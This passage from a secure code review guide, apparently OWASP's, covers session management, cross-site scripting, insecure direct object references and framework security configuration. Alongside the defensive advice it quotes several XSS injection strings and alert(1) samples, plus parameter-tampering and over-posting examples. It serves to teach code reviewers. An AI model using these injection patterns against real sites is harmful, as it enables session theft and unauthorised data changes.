number is useless if you do not have the card. What to Review When reviewing code modules which perform out-of-band functions, some common issues to look out for include: 1. Recognize the risk of the system being abused. Attackers would like to flood someone with SMS messages from your site, or e-mails to random people. Ensure: 2. When possible, only authenticated users can access links that cause an out-of-band feature to be invoked (forgot password being an exception). 3. Rate limit the interface, thus users with infected machines, or hacked accounts, can’t use it to flood out-of-band messages to a user. 4. Do not allow the feature to accept the destination from the user, only use registered phone numbers, e-mails, addresses. 5. For high risk sites (e.g. banking) the users phone number can be registered in person rather than via the web site. 6. Do not send any personal or authentication information in the out-of-band communication. 7. Ensure any PINs or passwords send over out-of-band channels have a short life-span and are random. 8. A consideration can be to prevent SMS messages being sent to the device currently conducting the browsing session (i.e. user browsing on their iPhone, were the SMS is sent to). However this can be hard to enforce. If possible give users the choice of band they wish to use. For banking sites Zitmo malware on mobile devices (see references) can intercept the SMS messages, however iOS devices have not been affected by this mal- ware yet, so users could choose to have SMS PINs sent to their Apple devices, and when on Android they could use recorded voice messages to receive the PIN. 9. In a typical deployments specialized hardware/software separate from the web application will handle the out-of-band communication, including the creation of temporary PINs and possibly passwords. In this scenario there is no need to expose the PIN/password to your web application (increasing risk of exposure), instead the web appli- cation should query the specialized hardware/software with the PIN/password supplied by the end user, and receive A2 - Broken Authentication and Session Management 65 a positive or negative response. Many sectors including the banking sector have regulations requiring the use of two-factor authentication for certain types of transactions. In other cases two-factor authentication can reduce costs due to fraud and re-assure customers of the security of a website. References • https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet • http://securelist.com/blog/virus-watch/57860/new-zitmo-for-android-and-blackberry/ 8.7 Session Management Overview A web session is a sequence of network HTTP request and response transactions associated to the same user. Session management or state is needed by web applications that require the retaining of information or status about each user for the duration of multiple requests. Therefore, sessions provide the ability to establish variables – such as access rights and localization settings – which will apply to each and every interaction a user has with the web application for the duration of the session. Description Code reviewer needs to understand what session techniques the developers used, and how to spot vulnerabilities that may create potential security risks. Web applications can create sessions to keep track of anonymous users after the very first user request. An example would be maintaining the user language preference. Additionally, web ap- plications will make use of sessions once the user has authenticated. This ensures the ability to identify the user on any subsequent requests as well as being able to apply security access controls, authorized access to the user private data, and to increase the usability of the application. Therefore, current web applications can provide session capabil- ities both pre and post authentication. The session ID or token binds the user authentication credentials (in the form of a user session) to the user HTTP traffic and the appropriate access controls enforced by the web application. The complexity of these three components (authentication, session management, and access control) in modern web applications, plus the fact that its implementation and binding resides on the web developer’s hands (as web development framework do not provide strict relationships between these modules), makes the implementation of a secure session management module very challenging. The disclosure, capture, prediction, brute force, or fixation of the session ID will lead to session hijacking (or sidejacking) attacks, where an attacker is able to fully impersonate a victim user in the web application. Attack- ers can perform two types of session hijacking attacks, targeted or generic. In a targeted attack, the attacker’s goal is to impersonate a specific (or privileged) web application victim user. For generic attacks, the attacker’s goal is to impersonate (or get access as) any valid or legitimate user in the web application. With the goal of implementing secure session IDs, the generation of identifiers (IDs or tokens) must meet the following properties: • The name used by the session ID should not be extremely descriptive nor offer unnecessary details about the purpose and meaning of the ID. • It is recommended to change the default session ID name of the web development framework to a generic name, such as “id”. • The session ID length must be at least 128 bits (16 bytes) (The session ID value must provide at least 64 bits of entropy). A2 - Broken Authentication and Session Management 66 • The session ID content (or value) must be meaningless to prevent information disclosure attacks, where an attacker is able to decode the contents of the ID and extract details of the user, the session, or the inner work- ings of the web application. It is recommended to create cryptographically strong session IDs through the usage of cryptographic hash functions such as SHA2 (256 bits). What to Review Require cookies when your application includes authentication. Code reviewer needs to understand what in- formation is stored in the application cookies. Risk management is needed to address if sensitive information is stored in the cookie requiring SSL for the cookie .Net ASPX web.config Java web.xml PHP.INI Session Expiration In reviewing session handling code the reviewer needs to understand what expiration timeouts are needed by the web application or if default session timeout are being used. Insufficient session expiration by the web <authentication mode=”Forms”> <forms loginUrl=”member_login.aspx” cookieless=”UseCookies” requireSSL=”true” path=”/MyApplication” /> </authentication> Sample 8.2 <session-config> <cookie-config> <secure>true</secure> </cookie-config> </session-config> Sample 8.3 void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = true [, bool $httponly = true ]]]] ) Sample 8.4 A2 - Broken Authentication and Session Management 67 application increases the exposure of other session-based attacks, as for the attacker to be able to reuse a valid session ID and hijack the associated session, it must still be active. Remember for secure coding one of our goals is to reduce the attack surface of our application. .Net ASPX ASPX the developer can change the default time out for a session. This code in the web.config file sets the timeout session to 15 minutes. The default timeout for an aspx session is 30 minutes. Java PHP Does not have a session timeout mechanism. PHP developers will need to create their own custom session timeout. Session Logout/Ending. Web applications should provide mechanisms that allow security aware users to actively close their session once they have finished using the web application. .Net ASPX Session.Abandon() method destroys all the objects stored in a Session object and releases their resources. If you do not call the Abandon method explicitly, the server destroys these objects when the session times out. You should use it when the user logs out. Session.Clear() Removes all keys and values from the session. Does not change session ID. Use this command if you if you don’t want the user to relogin and reset all the session specific data. Session Attacks Generally three sorts of session attacks are possible: • Session Hijacking: stealing someone’s session-id, and using it to impersonate that user. • Session Fixation: setting someone’s session-id to a predefined value, and impersonating them using that known value • Session Elevation: when the importance of a session is changed, but its ID is not. <system.web> <sessionState mode=”InProc” cookieless=”true” timeout=”15” /> </system.web> Sample 8.5 <session-config> <session-timeout>1</session-timeout> </session-config> Sample 8.6 A2 - Broken Authentication and Session Management 68 Session Hijacking • Mostly done via XSS attacks, mostly can be prevented by HTTP-Only session cookies (unless Javascript code requires access to them). • It’s generally a good idea for Javascript not to need access to session cookies, as preventing all flavors of XSS is usually the toughest part of hardening a system. • Session-ids should be placed inside cookies, and not in URLs. URL information are stored in browser’s history, and HTTP Referrers, and can be accessed by attackers. • As cookies can be accessed by default from javascript and preventing all flavors of XSS is usually the toughest part of hardening a system, there is an attribute called “HTTPOnly”, that forbids this access. The session cookie should has this attribute set. Anyway, as there is no need to access a session cookie from the client, you should get suspicious about client side code that depends on this access. • Geographical location checking can help detect simple hijacking scenarios. Advanced hijackers use the sameIP (or range) of the victim. • An active session should be warned when it is accessed from another location. • An active users should be warned when s/he has an active session somewhere else (if the policy allows multiple sessions for a single user). Session Fixation • If the application sees a new session-id that is not present in the pool, it should be rejected and a new session-id should be advertised. This is the sole method to prevent fixation. • All the session-ids should be generated by the application, and then stored in a pool to be checked later for. Application is the sole authority for session generation. Session Elevation • Whenever a session is elevated (login, logout, certain authorization), it should be rolled. • Many applications create sessions for visitors as well (and not just authenticated users). They should definitely roll the session on elevation, because the user expects the application to treat them securely after they login. • When a down-elevation occurs, the session information regarding the higher level should be flushed. • Sessions should be rolled when they are elevated. Rolling means that the session-id should be changed, and the session information should be transferred to the new id. Server-Side Defenses for Session Management .NET ASPX Generating new session Id’s helps prevent, session rolling, fixation, hijacking. A2 - Broken Authentication and Session Management 69 Java PHP.INI References • https://wwww.owasp.org/index.php/SecureFlag public class GuidSessionIDManager : SessionIDManager { public override string CreateSessionID(HttpContext context){ return Guid.NewGuid().ToString(); } public override bool Validate(string id) { try{ Guid testGuid = new Guid(id); if (id == testGuid.ToString()) return true; }catch(Exception e) { throw e } return false; } } Sample 8.7 request.getSession(false).invalidate(); //and then create a new session with getSession(true) (getSession()) Sample 8.8 session.use_trans_sid = 0 session.use_only_cookies Sample 8.9 A2 - Broken Authentication and Session Management 70 A3 71 9.1 Overview What is Cross-Site Scripting (XSS)? Cross-site scripting (XSS) is a type of coding vulnerability. It is usually found in web applications. XSS enables attack- ers to inject malicious into web pages viewed by other users. XSS may allow attackers to bypass access controls such as the same-origin policy may. This is one of the most common vulnerabilities found accordingly with OWASP Top 10. Symantec in its annual threat report found that XSS was the number two vulnerability found on web servers. The severity/risk of this vulnerability may range from a nuisance to a major security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s organi- zation. Description There are three types of XSS, Reflected XSS (Non-Persistent), Stored XSS(Persistent), and DOM based XSS. Each of these types has different means to deliver a malicious payload to the server. The important takeaway is the conse- quences are the same. What to Review Cross-site scripting vulnerabilities are difficult to identify and remove from a web application Cross-site scripting flaws can be difficult to identify and remove from a web application. The best practice to search for flaws is to perform an intense code review and search for all places where user input through a HTTP request could possibly make its way into the HTML output. Code reviewer needs to closely review. 1. That untrusted data is not transmitted in the same HTTP responses as HTML or JavaScript. 2. When data is transmitted from the server to the client, untrusted data must be properly encoded and the HTTP response. Do not assume data from the server is safe. Best practice is to always check data. 3. When introduced into the DOM, untrusted data MUST be introduced using one of the following APIs: a. Node.textContent b. document.createTextNode c. Element.setAttribute (second parameter only) Code reviewer should also be aware of the HTML tags (such as <img src…>, <iframe…>, <bgsound src…> etc.) can be used to transmit malicious JavaScript. Web application vulnerability automated tools/scanners can help to find Cross-Site scripting flaws. However they cannot find all XSS vulnerabilities, hence manual code reviews are important. Manual code reviews wont catch all either but a defense in depth approach is always the best approach based on your level of risk. OWASP Zed Attack Proxy(ZAP) is an easy to use integrated penetration-testing tool for finding vulnerabilities in web applications. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. It acts as a web proxy that you point your browser to so it can see the traffic going to a site and allows you to spider, scan, fuzz, and attack the application. There are other scanners available both open source and commercial. CROSS-SITE SCRIPTING (XSS) A3 A3 - Cross-Site Scripting (XSS) 72 Use Microsft’s Anti-XSS library Another level of help to prevent XSS is to use an Anti-XSS library. Unfortunately, HtmlEncode or validation feature is not enough to deal with XSS, especially if the user input needs to be added to JavaScript code, tag attributes, XML or URL. In this case a good option is the Anti-XSS libray .NET ASPX 1. On ASPX .Net pages code review should check to make sure web config file does not turn off page validation. <pages validateRequest=”false” /> 2. .Net framework 4.0 does not allow page validation to be turned off. Hence if the programmer wants to turn of page validation the developer will need to regress back to 2.0 validation mode. <httpRuntime requestValidation- Mode=”2.0” /> 3. Code reviewer needs to make sure page validation is never turned off on anywhere and if it is understand why and the risks it opens the organization to. <%@ Page Language=”C#” ValidationRequest=”false” .NET MVC When MVC web apps are exposed to malicious XSS code, they will throw an error like the following one: To avoid this vulnerability, make sure the following code is included: <%server.HtmlEncode(stringValue)%> The HTMLEncode method applies HTML encoding to a specified string. This is useful as a quick method of encoding form data and other client request data before using it in your Web application. Encoding data con- verts potentially unsafe characters to their HTML-encoded equivalent.(MSDN,2013) JavaScript and JavaScript Frameworks Both Javascript and Javascript frameworks are now widely use in web applications today. This hinders the code reviewer in knowing what frameworks do a good job on preventing XSS flaws and which ones don’t. Code reviewer should check to see what to see if any CVE exists for the framework being used and also check that the javascript framework is the latest stable version. Figure 6: Example .Net XSS Framework Error 73 OWASP References • OWASP XSS Prevention Cheat Sheet • OWASP XSS Filter Evasion Cheat Sheet • OWASP DOM based XSS Prevention Cheat Sheet • Testing Guide: 1st 3 chapters on Data Validation Testing • OWASP Zed Attack Proxy Project External References • https://www4.symantec.com/mktginfo/whitepaper/ISTR/21347932_GA-internet-security-threat-re- port-volume-20-2015-social_v2.pdf • https://cwe.mitre.org/data/definitions/79.html • http://webblaze.cs.berkeley.edu/papers/scriptgard.pdf • http://html5sec.org • https://cve.mitre.org 9.2 HTML Attribute Encoding HTML attributes may contain untrusted data. It is important to determine if any ot the HTML attributes on a given page contains data from outside the trust boundary. Some HTML attributes are considered safer than others such as align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabin- dex, title, usemap, valign, value, vlink, vspace, width. When reviewing code for XSS we need to look for HTML attributes such as the following reviewing code for XSS we need to look for HTML attributes such as the following: <input type=”text” name=”fname” value=”UNTRUSTED DATA”> Attacks may take the following format: “><script>/* bad stuff */</script> What is Attribute encoding? HTML attribute encoding replaces a subset of characters that are important to prevent a string of characters from breaking the attribute of an HTML element. This is because the nature of attributes, the data they contain, and how they are parsed and interpreted by a browser or HTML parser is different than how an HTML document and its elements are read; OWASP XSS Prevention Cheat Sheet. Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &#xHH; format (or a named entity if available) to prevent switching out of the attribute. The rea- son this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters, including [space] % * + , - / ; < = > ^ and |. Attribute encoding may be performed in a number of ways. Two resources are: 1. HttpUtility.HtmlAttributeEncode 74 http://msdn.microsoft.com/en-us/library/wdek0zbf.aspx 2. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Entity HTML elements which contain user controlled data or data from untrusted sourced should be reviewed for contextual output encoding. In the case of HTML entities we need to help ensure HTML Entity encoding is performed: Example HTML Entity containing untrusted data: HTML Entity Encoding is required It is recommended to review where/if untrusted data is placed within entity objects. Searching the source code fro the following encoders may help establish if HTML entity encoding is being done in the application and in a consistent manner. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP ESAPI http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/ HTMLEntityCodec.java JavaScript Parameters Untrusted data, if being placed inside a JavaScript function/code requires validation. Invalidated data may break out of the data context and wind up being executed in the code context on a users browser. Examples of exploitation points (sinks) that are worth reviewing for: HTML Body Context <span>UNTRUSTED DATA</span> OR <body>...UNTRUSTED DATA </body> OR <div>UNTRUSTED DATA </div> & --> &amp; < --> &lt; > --> &gt; “ --> &quot; ‘ --> &#x27; <input type=”text” name=”data” value=”<%=Encode.forHtmlAttribute(dataValue) %>” /> String safe = ESAPI.encoder().encodeForHTML( request.getParameter( “input” ) ); A3 - Cross-Site Scripting (XSS) 75 <script>var currentValue=’UNTRUSTED DATA’;</script> <script>someFunction(‘UNTRUSTED DATA’);</ script> attack: ‘);/* BAD STUFF */ Potential solutions: OWASP HTML Sanitizer ProjecT OWASP JSON Sanitizer Project ESAPI JavaScript escaping can be call in this manner: Please note there are some JavaScript functions that can never safely use untrusted data as input - even if javascript escaped! For example (note this is an example of how NOT to use JavaScript): eval() jquery Safe usage (use text, not html) <script> window.setInterval(‘...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...’); </script> String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( “input” ) ); $(“#userInput”) var txtField = “A1”; var txtUserInput = “’test@google.ie’;alert(1);”; eval( “document.forms[0].” + txtField + “.value =” + A1); Sample 9.1 var txtAlertMsg = “Hello World: “; var txtUserInput = “test<script>alert(1)<\/script>”; $(“#message”).html( txtAlertMsg +”” + txtUserInput + “”); Sample 9.2 A3 - Cross-Site Scripting (XSS) 76 .text Nested Contexts Best to avoid such nested contexts: an element attribute calling a JavaScript function etc. these contexts can really mess with your mind. When the browser processes this it will first HTML decode the contents of the onclick attribute. It will pass the results to the JavaScript Interpreter. So we have 2 contextx here...HTML and Javascript (2 browser parsers). We need to apply “layered” encoding in the RIGHT order: 1. JavaScript encode 2. HTML Attribute Encode so it “unwinds” properly and is not vulnerable. <div onclick=”showError(‘<%=request.getParameter(“errorxyz”)%>’)” >An error occurred </div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). <div onclick=”showError (‘<%= Encoder.encodeForHtml(Encoder.encodeForJavaScript( request. getParameter(“error”)%>’)))” >An error occurred ....</div> ( “test<script>alert(1)<\/script>”);<-- treat user input as text A3 - Cross-Site Scripting (XSS) 77 A4 78 A4 - Insecure Direct Object Reference INSECURE DIRECT OBJECT REFERENCE A4 10.1 Overview Insecure Direct Object Reference is a commonplace vulnerability with web applications that provide varying levels of access or exposes an internal object to the user. Examples of what can be exposed are database re- cords, URLs, files, account numbers, or allowing users to bypass web security controls by manipulating URLs. The user may be authorized to access the web application, but not a specific object, such as a database record, specific file or even an URL. Potential threats can come from an authorized user of the web application who al- ters a parameter value that directly points to an object that the user isn’t authorized to access. If the application doesn’t verify the user for that specific object, it can result in an insecure direct object reference flaw. 10.2 Description The source of the problem of this risk is based on the manipulation or updating of the data generated previ- ously at server side. What to Review SQL Injection An example of an attack making use of this vulnerability could be a web application where the user has already been validated. Now the user wants to view open his open invoices via another web page. The application passes the account number using the URL string. The an application uses unverified data in a SQL call that is accessing account information: The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If the application does not perform user verification, the attacker can access any user’s account, instead of only the intended customer’s account. HTTP POST requests A Cyber Security Analyst (Ibrahim Raafat) found an insecure direct object reference vulnerability with Yahoo! Suggestions by using Live HTTP Headers check the content in the POST request he could see: Where parameter ‘fid’ is the topic id and ‘cid’ is the respective comment ID. While testing, he found changing prop=addressbook&fid=367443&crumb=Q4.PSLBfBe.&cid=1236547890&cmd= delete_comment String query = “SELECT * FROM accts WHERE account = ?”; PreparedStatement pstmt = connection. prepareStatement(query , ... ); pstmt.setString( 1, request.getParameter(“acct”)); ResultSet results = pstmt.executeQuery(); Sample 10.1 79 A4 - Insecure Direct Object Reference the fid and cid parameter values allow him to delete other comments from the forum, that are actually posted by another user. Next, he used the same method to test post deletion mechanism and found a similar vulnerability in that. A normal HTTP Header POST request of deleting a post is: He found that, appending the fid (topic id) variable to the URL allows him to delete the respective post of other users: After futher analysis he found an attacker could modify the parameters in HTTP POST requests to delete 1.5 million records entered by Yahoo users Indirect Reference Maps Moreover, the attackers may find out the internal naming conventions and infer the method names for oper- ation functionality. For instance, if an application has URLs for retrieving detail information of an object like: Attackers will try to use the following URLS to perform modification on the object: Also if web application is returning an object listing part of the directory path or object name an attacker can modify these. Data Binding Technique Another popular feature seen in most of the design frameworks (JSP/Structs, Spring) is data binding, where HTTP GET request parameters or HTTP POST variables get directly bound to the variables of the corresponding business/ command object. Binding here means that the instance variables of such classes get automatically initialize with the request parameter values based on their names. Consider a sample design given below; observe that the busi- ness logic class binds the business object class binds the business object with the request parameters. The flaw in such design is that the business objects may have variables that are not dependent on the request pa- rameters. Such variables could be key variables like price, max limit, role, etc. having static values or dependent on some server side processing logic. A threat in such scenarios is that an attacker may supply additional parameters in request and try to bind values for unexposed variable of business object class. POST cmd=delete_item&crumb=SbWqLz.LDP0 POST cmd=delete_item&crumb=SbWqLz.LDP0&fid=xxxxxxxx xyz.com/Customers/View/2148102445 or xyz.com/Customers/ViewDetails.aspx?ID=2148102445 xyz.com/Customers/Update/2148102445 or xyz.com/Customers/Modify.aspx?ID=2148102445 Or xyz.com/Customers/admin 80 Secure Design Recommendation: • An important point to be noted here is that the business/form/command objects must have only those instance variables that are dependent on the user inputs. • If additional variables are present those must not be vital ones like related to the business rule for the feature. • In any case the application must accept only desired inputs from the user and the rest must be rejected or left unbound. And initialization of unexposed of variables, if any must take place after the binding logic. Review Criteria Review the application design and check if it incorporates a data binding logic. In case it does, check if business objects/beans that get bound to the request parameters have unexposed variables that are meant to have static values. If such variables are initialized before the binding logic this attack will work successfully. What the Code Reviewer needs to do: Code reviewer needs to “map out all locations in the code being reviewed where user input is used to reference objects directly”. These locations include where user input is used to access a database row, a file, application pag- es, etc. The reviewer needs to understand if modification of the input used to reference objects can result in the retrieval of objects the user is not authorized to view. If untrusted input is used to access objects on the server side, then proper authorization checks must be employed to ensure data cannot be leaked. Proper input validation will also be required to ensure the untrusted input is properly understood and used by the server side code. Note that this authorization and input validation must be performed on the server side; client side code can be bypassed by the attacker. Binding issues in MVC .NET A.K.A Over-Posting A.K.A Mass assignments In MVC framework, mass assignments are a mechanism that allows us to update our models with data coming in a request in HTTP form fields. As the data that needs to be updated comes in a collection of form fields, a user could send a request and modify other fields in the model that may not be in the form and the developer didn’t intend to be updated. Depending on the models you create, there might be sensitive data that you would not like to be modified. The vulnerability is exploited when a malicious user modifys a model’s fields, which are not exposed to the user via the view, and the malicious user to change hidden model values adds additional model parameters. public class user { public int ID { get; set; } <- exposed via view public string Name { get; set; } <- exposed via view public bool isAdmin{ get; set; } <-hidden from view } Sample 10.2 A4 - Insecure Direct Object Reference 81 Corresponding view (HTML) The corresponding HTML for this model contain 2 fields: ID and Name If an attacker adds the isAdmin parameter to the form and submits they can change the model object above. So a malicious attacker may change isAdmin=true Recommendations: 1 - Use a model which does not have values the user should not edit. 2 - Use the bind method and whitelist attributes which can be updated. 3 - Use the controller.UpdateModel method to exclude certain attribute updates. References • OWASP Top 10-2007 on Insecure Dir Object References • ESAPI Access Reference Map API • ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() ) • https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project • https://cwe.mitre.org/data/definitions/639.html • https://cwe.mitre.org/data/definitions/22.html ID: <%= Html.TextBox(“ID”) %> <br> Name: <%= Html.TextBox(“Name”) %> <br> <-- no isAdmin here! Sample 10.3 A4 - Insecure Direct Object Reference 82 A5 83 SECURITY MISCONFIGURATION A5 Many modern applications are developed on frameworks. These frameworks provide the developer less work to do, as the framework does much of the “housekeeping”. The code developed will extend the functionality of the framework. It is here that the knowledge of a given framework, and language in which the application is implemented, is of paramount importance. Much of the transactional functionality may not be visible in the developer’s code and handled in “parent” classes. The reviewer should be aware and knowledgeable of the underlying framework. Web applications do not execute in isolation, they typically are deployed within an application server frame- work, running within an operating system on a physical host, within a network. Secure operating system configuration (also called hardening) is not typically within the scope of code review. For more information, see the Center for Internet Security operating system benchmarks. Networks today consist of much more than routers and switches providing transport services. Filtering switch- es, VLANs (virtual LANs), firewalls, WAFs (Web Application Firewall), and various middle boxes (e.g. reverse proxies, intrusion detection and prevention systems) all provide critical security services when configured to do so. This is a big topic, but outside the scope of this web application code review guide. For a good summary, see the SANS (System Administration, Networking, and Security) Institute Critical Control 10: Secure Configu- rations for Network Devices such as Firewalls, Routers, and Switches. Application server frameworks have many security related capabilities. These capabilities are enabled and con- figured in static configuration files, commonly in XML format, but may also be expressed as annotations within the code. 11.1 Apache Struts In struts the struts-config.xml and the web.xml files are the core points to view the transactional functionality of an application. The struts-config.xml file contains the action mappings for each HTTP request while the web.xml file contains the deployment descriptor. The struts framework has a validator engine, which relies on regular expressions to validate the input data. The beauty of the validator is that no code has to be written for each form bean. (Form bean is the Java object which received the data from the HTTP request). The validator is not enabled by default in struts. To enable the validator, a plug-in must be defined in the <plug-in> section of struts-config.xml. The property defined tells the struts framework where the custom validation rules are defined (validation.xml) and a definition of the actual rules themselves (validation-rules.xml). Without a proper understanding of the struts framework, and by simply auditing the Java code, one would not see any validation being executed, and one does not see the relationship between the defined rules and the Java functions. The action mappings define the action taken by the application upon receiving a request. Here, in sample 11.1, we can see that when the URL contains “/login” the LoginAction shall be called. From the action map- pings we can see the transactions the application performs when external input is received. 84 11.2 Java Enterprise Edition Declarative Configuration Some security capabilities are accessible from within a Java program. Programmatic security is done within the web application using framework specific or standard Java Enterprise Edition (JEE) framework APIs. JEE has the JEE security model which, uses a role-based security model in which, access to application resources is granted based on the security role. The security role is a logical grouping of principals (authenticated entities, usually a user), and access is declared by specifying a security constraint on the role. The constraints and roles are expressed as deployment descriptors expressed as XML elements. Different types of components use different formats, or schemas, for their deployment descriptors: • Web components may use a web application deployment descriptor in the file web.xml • Enterprise JavaBeans components may use an EJB deployment descriptor named META-INF/ejb-jar.xml The deployment descriptor can define resources (e.g. servlets accessible via a specific URL), which roles are authorized to access the resource, and how access is constrained (e.g. via GET but not POST). The example web component descriptor in sample 11.2, (included in the “web.xml” file) defines a Catalog servlet, a “manager” role, a SalesInfo resource within the servlet accessible via GET and POST requests, and specifies that only users with “manager” role, using SSL and successfully using HTTP basic authentication should be granted access. A5 - Security Misconfiguration <?xml version=”1.0” encoding=”ISO-8859-1” ?> <!DOCTYPE struts-config PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 1.0//EN” “http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd”> <struts-config> <form-beans> <form-bean name=”login” type=”test.struts.LoginForm” /> </form-beans> <global-forwards> </global-forwards> <action-mappings> <action path=”/login” type=”test.struts.LoginAction” > <forward name=”valid” path=”/jsp/MainMenu.jsp” /> <forward name=”invalid” path=”/jsp/LoginView.jsp” /> </action> </action-mappings> <plug-in className=”org.apache.struts.validator.ValidatorPlugIn”> <set-property property=”pathnames” value=”/test/WEB-INF/validator-rules.xml, /WEB-INF/validation.xml”/> </plug-in> </struts-config> Sample 11.1 85 A5 - Security Misconfiguration <?xml version=”1.0” encoding=”ISO-8859-1”?> <web-app xmlns=”http://java.sun.com/xml/ns/j2ee” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd” version=?2.5?> <display-name>A Secure Application</display-name> <servlet> <servlet-name>catalog</servlet-name> <servlet-class>com.mycorp.CatalogServlet</servlet-class> <init-param> <param-name>catalog</param-name> <param-value>Spring</param-value> </init-param> <!-- Define Security Roles --> <security-role-ref> <role-name>MGR</role-name> <role-link>manager</role-link> </security-role-ref> </servlet> <security-role> <role-name>manager</role-name> </security-role> <servlet-mapping> <servlet-name>catalog</servlet-name> <url-pattern>/catalog/*</url-pattern> </servlet-mapping> <!-- Define A Security Constraint --> <security-constraint> <!-- Specify the Resources to be Protected --> <web-resource-collection> <web-resource-name>SalesInfo</web-resource-name> <url-pattern>/salesinfo/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <!-- Specify which Users Can Access Protected Resources --> <auth-constraint> <role-name>manager</role-name> </auth-constraint> Sample 11.2 86 Security roles can also be declared for enterprise Java beans in the “ejb-jar.xml” file as seen in figure sample 11.3. For beans, however, rather than specifying access to resources within servlets, access to bean methods is specified. The example in sample 11.4 illustrates several types of method access constraints for several beans. <!-- Specify Secure Transport using SSL (confidential guarantee) --> <user-data-constraint> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint> <!-- Specify HTTP Basic Authentication Method --> <login-config> <auth-method>BASIC</auth-method> <realm-name>file</realm-name> </login-config> </web-app> <ejb-jar> <assembly-descriptor> <security-role> <description>The single application role</description> <role-name>TheApplicationRole</role-name> </security-role> </assembly-descriptor> </ejb-jar> Sample 11.3 <ejb-jar> <assembly-descriptor> <method-permission> <description>The employee and temp-employee roles may access any method of the EmployeeService bean </description> <role-name>employee</role-name> <role-name>temp-employee</role-name> <method> <ejb-name>EmployeeService</ejb-name> <method-name>*</method-name> </method> </method-permission> Sample 11.4 A5 - Security Misconfiguration 87 <method-permission> <description>The employee role may access the findByPrimaryKey, getEmployeeInfo, and the updateEmployeeInfo(String) method of the AardvarkPayroll bean </description> <role-name>employee</role-name> <method> <ejb-name>AardvarkPayroll</ejb-name> <method-name>findByPrimaryKey</method-name> </method> <method> <ejb-name>AardvarkPayroll</ejb-name> <method-name>getEmployeeInfo</method-name> </method> <method> <ejb-name>AardvarkPayroll</ejb-name> <method-name>updateEmployeeInfo</method-name> <method-params> <method-param>java.lang.String</method-param> </method-params> </method> </method-permission> <method-permission> <description>The admin role may access any method of the EmployeeServiceAdmin bean </description> <role-name>admin</role-name> <method> <ejb-name>EmployeeServiceAdmin</ejb-name> <method-name>*</method-name> </method> </method-permission> <method-permission> <description>Any authenticated user may access any method of the EmployeeServiceHelp bean</description> <unchecked/> <method> <ejb-name>EmployeeServiceHelp</ejb-name> <method-name>*</method-name> </method> </method-permission> <exclude-list> <description>No fireTheCTO methods of the EmployeeFiring bean may be used in this deployment</description> <method> <ejb-name>EmployeeFiring</ejb-name> <method-name>fireTheCTO</method-name> </method> </exclude-list> A5 - Security Misconfiguration 88 If XML deployment descriptors are used to secure the application, code review should include the “web.xml” and “ejb-jar.xml” files to ensure that access controls are properly applied to the correct roles, and authentica- tion methods are as expected. 11.3 JEE Annotations JEE annotations for security are defined in the Java Docs [2]. The available annotations are: • @DeclareRoles • @DenyAll - no roles may invoke the method. • @PermitAll - all roles may invoke the method. • @RolesAllowed - roles permitted to invoke the method. • @RunAs - dynamically run the method as a particular role. For example the code in sample 11.5 allows employees and managers to add movies to the persistent store, anyone to list movies, but only managers may delete movies. Code review should look for such annotations. If present, ensure they reflect the correct roles and permissions, and are consistent with any declared role permissions in the “ejb-jar.xml” file. </assembly-descriptor> </ejb-jar> public class Movies { private EntityManager entityManager; @RolesAllowed({“Employee”, “Manager”}) public void addMovie(Movie movie) throws Exception { entityManager.persist(movie); } @RolesAllowed({“Manager”}) public void deleteMovie(Movie movie) throws Exception { entityManager.remove(movie); } @PermitAll public List<Movie> getMovies() throws Exception { Query query = entityManager.createQuery(“SELECT m from Movie as m”); return query.getResultList(); } } Sample 11.5 A5 - Security Misconfiguration 89 11.4 Framework Specific Configuration Apache Tomcat The server.xml[3] file should be reviewed to ensure security related parameters are configured as expected. The tom- cat server.xml file defines many security related parameters. Filters are especially powerful, and a code review should validate they are used unless there is a compelling reason not to. Jetty Jetty adds several security enhancements: • Limiting form content • Obfuscating passwords The maximum form content size and number of form keys can be configured at server and web application level in the “jetty-web.xml” file. <Configure class=”org.eclipse.jetty.webapp.WebAppContext”> … <Set name=”maxFormContentSize”>200000</Set> <Set name=”maxFormKeys”>200</Set> </Configure> <configure class=”org.eclipse.jetty.server.Server”> ... <Call name=”setAttribute”> <Arg>org.eclipse.jetty.server.Request.maxFormContentSize</Arg> <Arg>100000</Arg> </Call> <Call name=”setAttribute”> <Arg>org.eclipse.jetty.server.Request.maxFormKeys</Arg> <Arg>2000</Arg> </Call> </configure> Sample 11.6 Parameter Description Server This is the shutdown port. Connectors maxPostSize, maxParameterCount, server, SSLEnabled, secure, ciphers. Host Context Filter autoDeploy, deployOnStartup, deployXML crossContext, privileged, allowLinking Tomcat provides a number of filters which may be configured to incoming requests Table 12: Apache Tomcat Security Parameters A5 - Security Misconfiguration 90 Jetty also supports the use of obfuscated passwords in jetty XML files where a plain text password is usually needed. sample 11.7 shows example code setting the password for a JDBC Datasource with obfuscation (the obfuscated password is generated by Jetty 